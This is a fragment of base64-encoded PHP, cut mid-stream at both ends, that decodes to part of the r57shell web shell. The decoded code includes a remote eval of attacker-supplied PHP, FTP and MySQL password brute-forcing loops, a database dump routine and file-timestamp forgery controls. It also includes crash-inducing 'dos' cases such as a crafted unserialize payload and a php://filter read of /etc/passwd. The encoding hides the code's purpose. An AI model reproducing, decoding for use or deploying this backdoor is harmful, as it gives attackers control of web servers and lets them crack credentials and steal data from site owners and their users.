VVVVVVVVVVVVSI7CiAkeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7CiAkeCA9ICJBUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICI7CiB1bnNldCgkeik7dW5zZXQoJHkpOyR4ID0gYmFzZTY0X2RlY29kZSgkeCk7JHkgPSBAc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCR4KTt1bnNldCgkeCk7CiBicmVhazsKIGNhc2UgJ2RvczE4JzoKICRNU0dLRVkgPSA1MTkwNTI7JG1zZ19pZCA9IEBtc2dfZ2V0X3F1ZXVlICgkTVNHS0VZLCAwNjAwKTsKIGlmICghQG1zZ19zZW5kICgkbXNnX2lkLCAxLCAnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLCBmYWxzZSwgdHJ1ZSwgJG1zZ19lcnIpKQogZWNobyAiTXNnIG5vdCBzZW50IGJlY2F1c2UgJG1zZ19lcnJcbiI7CiBpZiAoQG1zZ19yZWNlaXZlICgkbXNnX2lkLCAxLCAkbXNnX3R5cGUsIDB4ZmZmZmZmZmYsICRfU0VTU0lPTiwgZmFsc2UsIDAsICRtc2dfZXJyb3IpKSB7CiBlY2hvICIkbXNnXG4iOwogfSBlbHNlIHsgZWNobyAiUmVjZWl2ZWQgJG1zZ19lcnJvciBmZXRjaGluZyBtZXNzYWdlXG4iOyBicmVhazsgfQogQG1zZ19yZW1vdmVfcXVldWUgKCRtc2dfaWQpOwogYnJlYWs7CiBjYXNlICdkb3MxOSc6CiAkdXJsID0gInBocDovL2ZpbHRlci9yZWFkPU9GRl9CWV9PTkUuL3Jlc291cmNlPS9ldGMvcGFzc3dkIjsgQGZvcGVuKCR1cmwsICJyIik7CiBicmVhazsKIGNhc2UgJ2RvczIwJzoKICRoYXNodGFibGUgPSBzdHJfcmVwZWF0KCJBIiwgMzkpOwogJGhhc2h0YWJsZVs1KjQrMF09Y2hyKDB4NTgpOyRoYXNodGFibGVbNSo0KzFdPWNocigweDQwKTskaGFzaHRhYmxlWzUqNCsyXT1jaHIoMHgwNik7JGhhc2h0YWJsZVs1KjQrM109Y2hyKDB4MDgpOwogJGhhc2h0YWJsZVs4KjQrMF09Y2hyKDB4NjYpOyRoYXNodGFibGVbOCo0KzFdPWNocigweDc3KTskaGFzaHRhYmxlWzgqNCsyXT1jaHIoMHg4OCk7JGhhc2h0YWJsZVs4KjQrM109Y2hyKDB4OTkpOwogJHN0ciA9ICdhOjEwMDAwMDp7czo4OiJBQUFBQkJCQiI7YTozOntzOjEyOiIwMTIzNDU2Nzg5QUEiO2E6MTp7czoxMjoiQUFBQUJCQkJDQ0NDIjtpOjA7fXM6MTI6IjAxMjM0NTY3OEFBQSI7aTowO3M6MTI6IjAxMjM0NTY3OEJBTiI7aTowO30nOwogZm9yICgkaT0wOyAkaTw2NTUzNTsgJGkrKykgeyAkc3RyIC49ICdpOjA7UjoyOyc7IH0KICRzdHIgLj0gJ3M6Mzk6IlhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWCI7czozOToiJy4kaGFzaHRhYmxlLiciO2k6MDtSOjM7JzsKIEB1bnNlcmlhbGl6ZSgkc3RyKTsKIGJyZWFrOwp9CgppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsKIEBldmFsKCRldmFsKTt9CgppZiAoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpCiB7CiAkc3VjID0gMDsKIGlmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKXsKIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQogIHsKICAgICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiAgICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogICAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9CiAgICBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsKICB9CiB9ZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J2RpYycpICYmIGlzc2V0KCRfUE9TVFsnZnRwX2xvZ2luJ10pKXsKICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICB7CiAgICAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOwogICAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9sb2dpbiddLCR1c2VyKSkgeyBlY2hvICJbK10gIi4kX1BPU1RbJ2Z0cF9sb2dpbiddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogICAgQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7CiAgfQogfQogZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsKICRjb3VudCA9IGNvdW50KCR1c2Vycyk7CiBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkgJiYgKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKSkgeyAkY291bnQgKj0gMjsgfQogZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTcnXS4kY291bnQuIlxyXG4iOwogZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTgnXS4kc3VjLiJcclxuIjsKIH0KCmlmICgkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKQogewogJHN1YyA9IDA7CiBpZigkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJyl7CiBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICB7CiAgICRzcWwgPSBuZXcgbXlfc3FsKCk7CiAgICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAgICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOwogICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107CiAgICRzcWwtPnVzZXIgPSAkdXNlcjsKICAgJHNxbC0+cGFzcyA9ICR1c2VyOwogICBpZigkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICB9CiBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpCiAgewogICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICAgIHsKICAgICAkc3FsID0gbmV3IG15X3NxbCgpOwogICAgICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAgICAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAgICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICAgICRzcWwtPnVzZXIgPSAkdXNlcjsKICAgICAkc3FsLT5wYXNzID0gc3RycmV2KCR1c2VyKTsKICAgICBpZigkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICAgIH0KICB9CiB9ZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J2RpYycpICYmIGlzc2V0KCRfUE9TVFsnbXlzcWxfbCddKSl7CiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgewogICAkc3FsID0gbmV3IG15X3NxbCgpOwogICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107CiAgICRzcWwtPnBhc3MgPSAkdXNlcjsKICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAiLiRfUE9TVFsnbXlzcWxfbCddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogIH0KIH0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7CiAkY291bnQgPSBjb3VudCgkdXNlcnMpOwogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pICYmICgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykpIHsgJGNvdW50ICo9IDI7IH0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsKIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7CiB9CgppZiAoJF9QT1NUWydjbWQnXT09Im15c3FsX2R1bXAiKQogewogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0KICAkc3FsID0gbmV3IG15X3NxbCgpOwogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsKICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107CiAgJHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsKICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQogIGVsc2UgaWYoISRzcWwtPnNlbGVjdF9kYigpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgfQogIGVsc2UgaWYoISRzcWwtPmR1bXAoJF9QT1NUWydteXNxbF90YmwnXSkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjcmVhdGUgZHVtcCI7IH0KICBlbHNlIHsKICAgaWYoZW1wdHkoJF9QT1NUWydkaWYnXSkpIHsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjsgfQogICBlbHNlIGlmKCRmcCB8fCBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKXsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KXsgQGZ3cml0ZSgkZnAsJHYuIlxyXG4iKSBvciBAZnB1dHMoJGZwLCR2LiJcclxuIikgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnZGlmX25hbWUnXSwkdi4iXHJcbiIpO30gfQogICBlbHNlIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCB3cml0ZSBpbiBkdW1wIGZpbGUiOyB9CiAgIH0KIH0KCmVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsKZWNobyAiPC9iPiI7CmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOwoKZnVuY3Rpb24gZGl2X3RpdGxlKCR0aXRsZSwgJGlkKQp7CiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsKfQpmdW5jdGlvbiBkaXYoJGlkKQogewogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgKCRfQ09PS0lFWyRpZF09PTApKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsKICRkaXZpZD1hcnJheSgnaWQ1JywnaWQ2JywnaWQ4JywnaWQ5JywnaWQxMCcsJ2lkMTEnLCdpZDE2JywnaWQyNCcsJ2lkMjUnLCdpZDI2JywnaWQyNycsJ2lkMjgnLCdpZDI5JywnaWQzMycsJ2lkMzQnLCdpZDM1JywnaWQzNycsJ2lkMzgnKTsKIGlmKGVtcHR5KCRfQ09PS0lFWyRpZF0pICYmIEBpbl9hcnJheSgkaWQsJGRpdmlkKSkgcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7CiByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciPic7CiB9CgppZighJHNhZmVfbW9kZSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyJ10sJ2lkMScpLiR0YWJsZV91cDIuZGl2KCdpZDEnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnY21kJyw4NSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQplbHNlewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjgnXSwnaWQyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NhZmVfZGlyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NiddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDInXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKaWYoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU3J10sJ2lkNCcpLiR0YWJsZV91cDIuZGl2KCdpZDQnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigkdW5peCAmJiBAZnVuY3Rpb25fZXhpc3RzKCd0b3VjaCcpKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOCddLCdpZDUnKS4kdGFibGVfdXAyLmRpdignaWQ1JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX25hbWUnLDQwLCghZW1wdHkoJF9QT1NUWydmaWxlX25hbWUnXSk/KCRfUE9TVFsnZmlsZV9uYW1lJ10pOigkZGlyLiIvcjU3c2hlbGwucGhwIikpKQoud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI2J10ud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+Igoud3MoMikuaW4oJ3RleHQnLCdmaWxlX25hbWVfcicsNDAsKCFlbXB0eSgkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pPygkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pOigiIikpKSk7CmVjaG8gc3IoMTUsIjxiPiBvciBzZXQgIERheSIuJGFycm93LiI8L2I+IiwKJwo8c2VsZWN0IG5hbWU9ImRheSIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAyIj4yPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAzIj4zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA1Ij41PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA4Ij44PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNiI+MjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOSI+Mjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzAiPjMwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPgo8L3NlbGVjdD4nCi53cyg0KS4iPGI+TW9udGgiLiRhcnJvdy4iPC9iPiIKLicKPHNlbGVjdCBuYW1lPSJtb250aCIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IkphbnVhcnkiPkphbnVhcnk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iRmVicnVhcnkiPkZlYnJ1YXJ5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Ik1hcmNoIj5NYXJjaDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJBcHJpbCI+QXByaWw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iTWF5Ij5NYXk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iSnVuZSI+SnVuZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJKdWx5Ij5KdWx5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IkF1Z3VzdCI+QXVndXN0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IlNlcHRlbWJlciI+U2VwdGVtYmVyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Ik9jdG9iZXIiPk9jdG9iZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iTm92ZW1iZXIiPk5vdmVtYmVyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IkRlY2VtYmVyIj5EZWNlbWJlcjwvb3B0aW9uPgo8L3NlbGVjdD4nCi53cyg0KS4iPGI+WWVhciIuJGFycm93LiI8L2I+IgouJwo8c2VsZWN0IG5hbWU9InllYXIiIHNpemU9IjEiPgo8b3B0aW9uIHZhbHVlPSIxOTk4Ij4xOTk4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5OTkiPjE5OTk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwMCI+MjAwMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDAxIj4yMDAxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDIiPjIwMDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwMyI+MjAwMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA0Ij4yMDA0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDUiPjIwMDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDEwPC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5Ib3VyIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0iY2hhc2kiIHNpemU9IjEiPgo8b3B0aW9uIHZhbHVlPSIwMSI+MDE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjAyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAzIj4wMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwNCI+MDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjA1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA2Ij4wNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwNyI+MDc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjA4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA5Ij4wOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTEiPjExPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEyIj4xMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMyI+MTM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTQiPjE0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE1Ij4xNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNiI+MTY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTciPjE3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE4Ij4xODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOSI+MTk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAiPjIwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIxIj4yMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMiI+MjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjMiPjIzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI0Ij4yNDwvb3B0aW9uPgo8L3NlbGVjdD4nCi53cyg0KS4iPGI+TWludXRlIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0ibWludXRlcyIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAyIj4yPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAzIj4zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA1Ij41PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA4Ij44PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNiI+MjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOSI+Mjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzAiPjMwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMiI+MzI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzMiPjMzPC9vcHRpb24+C